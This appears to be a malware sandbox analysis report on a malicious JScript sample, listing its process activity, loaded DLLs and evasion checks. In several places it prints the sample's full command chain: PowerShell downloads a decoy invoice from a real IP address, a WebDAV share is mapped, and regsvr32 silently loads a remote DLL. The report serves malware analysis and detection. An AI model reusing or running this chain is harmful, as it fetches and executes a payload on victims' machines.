Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4338.js.csv");ITextStream.WriteLine(" entry:7625 f:ncyknxce");ITextStream.WriteLine(" exec:2 f:ncyknxce");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5677			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4152			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6524	Thread sleep count: 5677 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep count: 4152 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2172	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6920	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7296	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.1361312404.000002BC28790000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]c6
Source: net.exe, 00000008.00000002.1361312404.000002BC28790000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC28728000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2574495534.00000168FA85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2572808760.00000168F522B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
